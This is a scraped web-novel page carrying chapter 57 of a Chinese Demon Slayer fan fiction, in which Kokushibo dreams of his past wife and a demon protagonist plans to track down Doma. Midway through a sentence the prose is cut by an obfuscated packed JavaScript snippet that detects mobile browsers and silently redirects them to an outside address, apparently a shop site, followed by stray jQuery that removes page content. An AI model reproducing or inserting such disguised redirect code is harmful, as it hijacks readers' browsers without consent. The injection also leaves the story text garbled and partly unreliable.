默认冷灰
24号文字
方正启体

57.第 57 章

作者:纯漪本书字数:K更新时间:
    黑死牟久违地做着梦。


    这种感觉实在太过陌生,以至于他第一时间就意识到了,一切都是梦境。


    很奇怪,他都想不起上一次入睡是什么时候了。变鬼后,随着实力的提升,身体需要的睡眠时间越来越少,偶尔睡一觉也是打个盹的功夫,不会有梦来光顾。


    你就不是这样了。你是他见过觉最多的鬼,当然他也没见过几个鬼,但他猜不会有鬼会像你这样,要在疲倦、厌烦或满足的时刻都逃遁进睡眠中。


    各式各样的梦都来挑动你的情绪,他观察你每一点的变化推测内容的好坏,抱住你把那副纤细身体的所有反应都包裹起来。但类似的感觉一次也没有降临在自己身上。


    偏偏在你离开后,他做着梦。


    这是一个好梦吗?他不知道。判断力要从经验中得来,他一向缺乏。


    梦里你还待在继国家,长长的头发拢在脑后,发带扎得低低的。虽然梳着大人的发型,身量还是个孩子。


    刚一照面,他就明白了这是你刚嫁过来的时候,是家中最灰暗的一段时光。母亲过世,缘一杳无音讯,父亲放任自己病倒,他忙于接手军务,你要一个人撑起一大家子,顺带照顾一个脾气古怪的病老头。


    梦真是一种古怪的感觉,他的一切感知与那个十来岁的少年同步,又另有一部分悬浮在虚空,把你的反应也看得清清楚楚。


    少年轻快地跳起来抓住檐下掠过的鸟儿送到你面前,你惊慌不已,要求他快点儿放开。隔着四百年的时光,至高的上弦之一再次体会当年的心情。


    不高兴。因为你没有看到他速度多么快、时机把握得有多准,视线黏在那只扑腾的鸟上,一直小声地哀求放了它。


    岩胜很不高兴。但是,你看他练剑的样子足以抵消掉这点不快乐,你又为此一路小跑求那么久了,放掉就放掉吧。


    你能开心,那也是很好的。他也就为你做这么点儿小事了。


    四百年前的愧疚苏醒过来。


    黑死牟想起那时他整日地流连在外,军务只是借口。真实的原因是,他在逃避,逃避家中那双昏昏沉沉,并不落在他这里的眼睛。


    我做得够好吗?他会满意吗?这些问题注定没有答案,因为父亲不再思考它们。他就这么踩不到实地一样飘着,自私地把一切抛给你,只因负起生活的重量于你是理所当然的。


    可是,他清楚,每个清晨匆匆跨出家门,背后的你是羡慕的。这点,梦境里尤为清晰。你羡慕地看着岩胜的背影。


    你很累,累了一天躺在床上,说要早点睡,这样才能长高。可是他披着夜色躺在你身侧时,你总醒着。


    梦里他看到当年没看到的东西,你乌溜溜的眼睛眨一眨,看看他才安心地闭上。


    意识在此刻抽离,六只金色的鬼目睁开。


    为什么突然梦到一个离开的人,他在想你吗?


    黑死牟不知道。


    天快亮时,实弥醒过来。


    没有看到紫藤花之家熟悉的标识,他有些发懵。很快,昨夜的记忆涌来,他翻身坐起。


    他放任一只鬼和人共处一室,还睡着了。


    惊悸的情绪很快消失。昏暗的房间里,对面沙发上裹着被子的人形并不清晰,但那起伏的节奏还是很明显的。


    实弥抹了一把脸,让自己清醒一些,后知后觉地发现身上同样有一条被子。


    简单收拾了一下,他开始寻找你的身影。这不难,屋里亮光的地方就是了。


    你点了一只蜡烛,背对着他们,拿着笔看样子在写写画画。


    实弥没有出声,安静地看了一会儿。你时而眉心紧皱,时而恍然大悟,表情变化不定,有时停下来咬咬笔头,烦躁地在纸上划线,突然又坐直了奋笔疾书。


    你总是在抽空写东西。天亮一个躲在车里的时候、等他们吃饭的时候,还有现在。


    他有一次问过你在写什么。


    “干掉童磨的行动方案啊。”你理所当然地答道。


    当时他好像嗤笑一声就走开了。


    “我能看看吗?”实弥站在你身后。


    你吓得差点儿把钢笔扔了出去。这和监考老师突然盯住你有什么区别!


    他眼疾手快扶住椅背才没让你摔个倒仰。


    “至于吗?”他很无语。


    你干笑着把小本本奉上。


    他翻了几页就合上:“你写汉字?”


    “对啊。”虽然穿过来很久了,听说读写都跟原住民不差什么,但思考复杂的问题时,你还是习惯先用母语整理思路。


    “这还是草稿,等写完了就用日语定稿。不,我现在就写。”好不容易等到他感兴趣了,你赶紧打起精神推销,“要不要先听听?简单地说,我的方法是……”


    “行了,”他丢下本子,“收拾收拾准备走吧,太阳升起来不好赶路了。”


    你拳头抵住额头,深呼吸几下。


    “好,等我洗漱完。”


    你翻出毛巾、牙刷,到卫生间飞快地梳好头发、洗脸、刷牙、漱口,出来已经换上了香奈惠准备的换洗衣服。


    “我早就想说了,”他斜瞟了一眼,“你不吃东西还每天刷牙?”


    你思考几秒,然后一拍脑袋。


    “对哦!刷牙是因为吃了饭啊!”


    他看你的表情宛如看一个智障。


    你讪讪一笑,低下头。这一套起床流程已经是你底层代码的一部分了,属于不必思考其所以然的部分,没想到会因为这个闹笑话。


    “走啦。”你先去推门。


    路过客厅,你们都慢下来,尽量不发出声音吵醒沙发上的人。可惜,电话并不给你们面子,刺耳的铃声划破寂静,时彦顶着鸡窝头爬起来:“谁?”


    连接好几个电话眉飞色舞讲完自己的英勇事迹后,时彦咔地挂上听筒,不满地大叫起来:“太不够意思了,你们!还是不是朋友了?”


    实弥一副官腔:“我忙着呢,谁知道你睡什么时候。”


    “那也没必要这么早吧。”他换一身新西装,压一压头发,“干什么?我也要去。”


    争执之间,天已蒙蒙亮。


    你只好道:“你们去吧,我在这里等你们。”


    大白天你也不可能逃走,实弥用他那双好像永远怒气冲冲的眼睛瞪了你好一会儿,才点头答应下来。


    他打算做一点收尾工作,看能不能在紫藤花之家给那家人找点打杂的活儿,有固定收入的话,孤儿寡母也能活下去。


    时彦大大咧咧:“不行就让他们来我这里领工资,扫扫院子就行了。不过,他们可能不愿来。”


    他低落一会儿又高兴起来:“总会有工作的。我先叫人把车拖回来,看能不能修,撞坏的墙也要赔,一起走吧。”


    他热情地和实弥勾肩搭背,被推开也不介意,叽叽喳喳地念叨着昨晚杀鬼的事:“你那几招真过瘾,能不能教教我?不能啊……”


    走出小洋楼,笑容才淡下来:“能和我说说鬼的事吗?”


    实弥并不奇怪:“你想知道什么?”


    时彦咬咬牙:“鬼是不是人变的?别这么看我,我是猜的。昨晚那个鬼,他穿着以前电报员的衣服。虽然很脏很旧还撑裂了,但我不会认错。”


    “是又怎么样?人一旦变鬼,理智、感情还有廉耻就不复存在了,亲友故旧全都可以下手。把你的血肉嚼干了也不会厌足。鬼是这种生物,你最好记住这一点。”


    实弥想,不到两天,他有好几次差点忘记你是鬼了。这太不应该了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233303|194774||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    实弥还记得主公宣布接纳你进入鬼杀队的决定时,特意强调了你的死因,以及追查十余年的社会关系后没有发现不正常的死亡事件。换言之,你是没有吃过人的。他和你短短的几次接触中,也没有发现这样的倾向。


    但又如何呢?不管生前是什么样的人,你已经是鬼了,是以人为食的生物。因为有这样的生物存在,无数人的生命置于威胁之中,他们的血泪是能忘掉的吗?


    你可以当作筹码的无辜是另一只鬼豢养的结果,罪恶转了一手就不是罪恶了吗?你被鬼杀队需要的价值也同样来源于背后的那只上弦鬼,这真是讽刺。


    你的“幸运”本身,就是对他信念的讽刺。


    实弥感到自己紧握的拳头骨节正咯咯作响,他不禁回头,透过落地窗,屋里的景象一览无余。你打开电灯坐在桌前,又开始认真的写东西了。


    时彦没有察觉他的情绪变化,还在喋喋不休地说:“你看那个家伙,他应该也是个受害者,得到力量,就朝那些更可怜的同类下手。都有异能了,也不敢报复当初迫害他的人,还这么欺软怕硬,多半做人那会儿也不是什么好东西。她就不一样,我跟你说……”


    “说完了吗?”实弥道,“我这边,你那边,再见。”


    你的行动方案陷入了瓶颈,这主要是因为缺乏数据和文献的支持。


    你的办法说起来很简单,只是在这个时代执行起来会比较困难,那就是用大数据锁定童磨或者说万世极乐教的位置。


    恢复记忆后,变鬼前的惨剧历历在目,你可以复述出里面的每一个细节:


    “无惨大人要我控制人数在二百五十个以内,可数起来也太麻烦了吧!”


    “哎,刚刚是第几个了,你没数?没数也没关系的!我们重新开始!”


    你打了个寒噤。


    这是其中最恐怖的部分,稍加回想,血淋淋的场面就会毫无预警地浮现。但是,必须回想起来,抓住他无意间暴露的信息,完成你的回击。


    一定要是致命的一击。


    一个封闭的、不为大众所知的宗教小团体,控制着总数超过二百的信徒,人员数量随教主的心情、食量上下浮动,还靠羊毛出在羊身上的非法集资掠夺财富。综合这些条件,它对选址的要求必然很高。


    离人群太近很难隐藏自身,太远的话不方便补充损失的信徒;繁华地带容易招来富有的投资人,但口碑发酵会很快;穷乡僻壤没有这个担忧,可二百多人的吃喝拉撒会让运营成本急剧增加……


    再考虑到你是在大城市边缘一个不起眼的小站点附近撞进了他的圈套,童磨在安营扎寨上的选择就有迹可循了。而且,鬼杀队数十年如一日地调查那一起事件,等于是把原址连同附近一大片区域都废掉了。童磨不可能再返回到那里,你能直接排除很多选项了。


    剩下只需要在地图上比对各种数值,标注重点范围逐一排查了。但你没有地图,也没有关于日本各地方城市区域、人口规模、交通状况、经济水平的可靠数据,只能凭借研究蓝色彼岸花剩下的模糊印象估计。


    这让你很挫败。把能想到的东西都写出来后,你意识到,这只是第一步。更重要的是说服那些视鬼为一生之敌的柱们,坐下来听你讲完,然后用他们找你的手段去把他揪出来。


    这是一个只有你和鬼杀队的信任达到相当高的程度后,才有希望落实的计划。被迫等待的时光里,童磨会撕开一个又一个可怜人的胸膛,嘲笑你的无能。


    愤怒的火焰在胸腔里跳跃,烧得你日夜难安。


    可你依旧毫无办法。


    黄昏时他们归来,一个绞尽脑汁说着话,一个抱起手臂一言不发,乌鸦飞来飞去指示下一个任务地点。


    你得走了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)